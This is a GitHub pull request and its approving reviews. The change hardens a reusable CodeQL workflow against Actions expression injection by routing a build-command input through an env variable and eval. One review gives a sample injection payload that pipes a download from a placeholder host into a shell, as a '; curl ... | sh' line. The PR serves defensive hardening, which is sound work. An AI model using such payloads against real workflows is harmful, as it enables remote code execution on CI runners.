fix(codeql): mitigate shell injection in build-command input - #59
Conversation
Move workflow_call input from inline ${{ }} expression to env variable,
preventing GitHub Actions expression injection in the custom build step.
Before: run: ${{ inputs.build-command }}
After: env + eval "$BUILD_COMMAND"
The inline expression pattern allows a caller-controlled string to be
template-substituted directly into the shell script, which is a known
expression injection vector (GHSA class). While current callers are all
org-internal and none pass build-command today, this hardens the reusable
workflow against future misuse.
Ref: https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#using-an-intermediate-environment-variable
No caller currently passes build-command (all rely on autobuild), so this
change is backward-compatible and zero-risk.
lml2468
left a comment
There was a problem hiding this comment.
.github PR #59 Review — a306091
Summary
Mitigates shell injection in reusable-codeql.yml by routing inputs.build-command through an env var instead of direct ${{ }} template interpolation in the run: field.
Analysis
Before: run: ${{ inputs.build-command }} — GitHub Actions expands the template before the shell sees it. Any special characters in the input get injected directly into the script context.
After: env: BUILD_COMMAND + run: eval "$BUILD_COMMAND" — the value is passed through an environment variable, preventing template-level injection. eval still executes the command, but the env var indirection is the standard GitHub Security Lab mitigation for this CodeQL alert pattern (js/actions/command-injection).
The build-command input comes from workflow_call (trusted callers), so practical risk is low, but this is the correct defensive pattern and silences the CodeQL alert.
Verdict
APPROVED — standard security mitigation, no functional change.
Jerry-Xin
left a comment
There was a problem hiding this comment.
This PR is relevant to Mininglamp-OSS/.github: it updates a shared reusable CodeQL workflow owned by this repository.
💬 Non-blocking
🟡 Warning — .github/workflows/reusable-codeql.yml: eval "$BUILD_COMMAND" still executes the full caller-provided string as shell code. That preserves the intended custom build behavior, but it should not be treated as sanitizing untrusted command content. The security boundary remains: only trusted workflow callers should provide build-command, and callers must not compose it from PR-controlled strings.
✅ Highlights
🔵 Suggestion — The change does remove direct ${{ inputs.build-command }} interpolation from the run: body, which aligns with GitHub’s recommended pattern for avoiding direct expression expansion inside generated shell scripts.
Verification: git diff --check passed. actionlint is not installed in this environment, so I could not run the workflow linter locally.
yujiawei
left a comment
There was a problem hiding this comment.
Code Review — PR #59 (.github)
Summary
This is a correct, minimal, and well-scoped fix. It closes a genuine GitHub Actions expression-injection vector in reusable-codeql.yml and follows GitHub's documented canonical mitigation. Approving — no blocking issues. The notes below are non-blocking hardening/documentation suggestions.
1. Verification
- ✅ The vulnerability is real. The original
run: ${{ inputs.build-command }}(.github/workflows/reusable-codeql.yml:46) substitutes the input value into the shell script source at workflow-render time. A value such as"; curl evil | sh #breaks out of the intended context before execution — the textbook expression-injection sink. - ✅ The fix is the canonical mitigation. Moving the value into an intermediate
env:variable (BUILD_COMMAND) and referencing it as$BUILD_COMMAND(reusable-codeql.yml:47-50) delivers the value to the runner as data, not as inlined script text. This is exactly the "use an intermediate environment variable" pattern from GitHub's security-hardening guide. The render-time injection class is closed. - ✅ Semantics preserved. The original ran the value as a full shell snippet (pipes,
&&, redirection all worked).eval "$BUILD_COMMAND"re-parses the env value as shell and reproduces that behavior. A bare$BUILD_COMMAND(word-splitting only) or quoted"$BUILD_COMMAND"(whole string treated as one command name) would change semantics — soevalis the correct, intentional choice here because the input is by design a command to execute, not inert data. - ✅ Quoting is correct.
eval "$BUILD_COMMAND"passes the value as a single argument thatevalthen parses, avoiding pre-eval word-splitting surprises. - ✅ No env-layer breakout.
${{ }}is expanded once at job-config time;$VARinrun:is plain bash (not a second Actions pass). There is no double-substitution sink — a malicious value cannot escape the fixedeval "$BUILD_COMMAND"line. - ✅
if:guard is clean.if: inputs.build-command != ''skips the step on the default empty input, soeval ""is never reached. Theif:comparison is an expression context, not a shell sink. - ✅ No other
run:-context sinks in the file. The only other caller-set input,inputs.language, appears solely in the job display name and in actionwith:inputs (languages:,category:) — never inside arun:block — so it is not a shell-injection vector. - ✅ Hardening hygiene is strong. Top-level
permissions: {}, least-privilege job grants (actions:read,contents:read,security-events:write— the last required for SARIF upload),persist-credentials: falseon checkout, and all third-party actions pinned to full commit SHAs. Scope is tight: no unrelated edits.
2. Issues
No P0/P1 issues. The change is safe to merge.
P2 — Document the trust contract for build-command (follow-up, non-blocking)
The fix closes expression injection, but by design eval "$BUILD_COMMAND" still executes the input as shell — the feature's purpose is to run a build command. The security boundary has shifted to the caller, not disappeared: if any caller workflow ever wires untrusted event data (e.g. build-command: ${{ github.event.pull_request.title }}, branch names, issue bodies) into this input, that is RCE again, now at the eval layer.
This is undefendable from inside the reusable workflow (the value must be executed to function) and is out of scope for this diff, which is the correct fix. But the input is currently an undocumented "execute-verbatim" primitive. Recommend a brief comment near the input definition / Custom build step:
build-commandis executed verbatim as a shell command. Callers MUST pass only trusted, maintainer-authored static commands and MUST NEVER interpolate untrusted event data (issue/PR titles, bodies, branch/ref names, comments) into this input.
P2 — eval materially widens residual blast radius vs. a non-eval form (informational)
This is not a request to remove eval — it is the right choice for a free-form build command. But for an accurate intentional-eval decision: eval "$BUILD_COMMAND" re-parses the value as full shell (operators, pipes, command substitution all active), whereas an unquoted $BUILD_COMMAND would only word-split/glob (; and $(...) would be inert literals). So the residual blast radius if a caller ever misuses the input is larger with eval. Given the input is maintainer-authored and zero of the 12 current callers set it, this does not block merge — flagging only so the trade-off is understood.
3. Recommendations
- Merge as-is — the diff is the correct fix.
- As a follow-up, add the caller-side trust-contract comment (P2 above) so future caller authors know never to feed untrusted event context into
build-command.
4. Additional notes
- "Zero blast radius today" is point-in-time. The claim that all 12 current callers use autobuild is a sound basis for merging now, but it is a snapshot — a future (13th) caller or an edit to an existing caller could route data into
build-commandwithout re-review of this workflow. The long-term safety rests on the fix itself (which is correct) plus the documented contract, not on the current caller inventory. The caller list could not be independently re-verified in this review (callers live in other repos); a maintainer should confirm if full assurance is desired. - Defense-in-depth is good but not absolute. Even on caller misuse, an injected command would run only with
actions:read/contents:read/security-events:writeand no persisted credential.security-events:write+ arbitrary code is still non-trivial (could poison code-scanning alerts), which is why the caller-side warning still matters.
Recommended for a human security reviewer to confirm: the threat-model classification of build-command (is it ever caller-derived from untrusted event data?). This is the one fact that cannot be determined from the diff alone.
lml2468
left a comment
There was a problem hiding this comment.
Architecture review — APPROVED ✅ (COMMENTED due to shared GH account)
Correct fix. ${{ inputs.build-command }} in run: is a classic expression injection vector — a malicious caller could break out of the shell command via crafted input. Moving to env: + eval "$BUILD_COMMAND" keeps the value in an environment variable where it cannot inject into the YAML/shell parse phase.
Verified: zero callers currently pass build-command (all use autobuild), so this is pure defense-in-depth with zero behavioral change.
One note: eval still executes the string as shell, which is the intended behavior (callers need to pass arbitrary build commands like go build ./...). The security improvement is that the injection surface moves from GitHub Actions expression expansion (which happens before the shell) to normal shell variable expansion (which respects quoting). This is the standard mitigation recommended by GitHub security advisories.
No blocking issues.
lml2468
left a comment
There was a problem hiding this comment.
QA Review — .github#59
Verdict: APPROVED (COMMENTED due to shared GH account)
Verification
-
Expression injection fix confirmed —
${{ inputs.build-command }}inrun:is a real GitHub Actions expression injection vector. Moving toenv:+evalcloses YAML-level injection while preserving functionality. ✅ -
Zero functional impact verified — Scanned all 15 repos with
codeql.ymlcallers: none passbuild-command. Every caller uses autobuild (language: goorlanguage: javascript-typescriptonly). TheCustom buildstep has never executed in production. ✅ -
CI green — actionlint ✅ | no-tabs ✅ | add-to-project ✅ ✅
-
Defense-in-depth assessment — Even though
workflow_callinputs can only come from internal caller files (not PR authors), the fix is correct defense-in-depth. Expression injection viaworkflow_callis exploitable if a caller repo is compromised or an internal contributor adds a maliciousbuild-commandvalue. ✅
No blocking issues. Ready to merge.
What
Mitigate GitHub Actions expression injection in
reusable-codeql.yml'sbuild-commandinput.Before
After
Why
The inline
${{ inputs.build-command }}pattern is a known expression injection vector. Aworkflow_callinput value is template-substituted directly into the shell script before execution, allowing shell metacharacters to break out of the intended context.Moving the value to an environment variable (
env:) and usingevalkeeps the intended semantics (execute a caller-provided build command) while preventing YAML-level injection.Risk
Zero. No caller currently passes
build-command— all 12 CodeQL callers rely on autobuild. This is a pure hardening change.Callers audit (all use autobuild only)
Ref: Workflow optimization task T08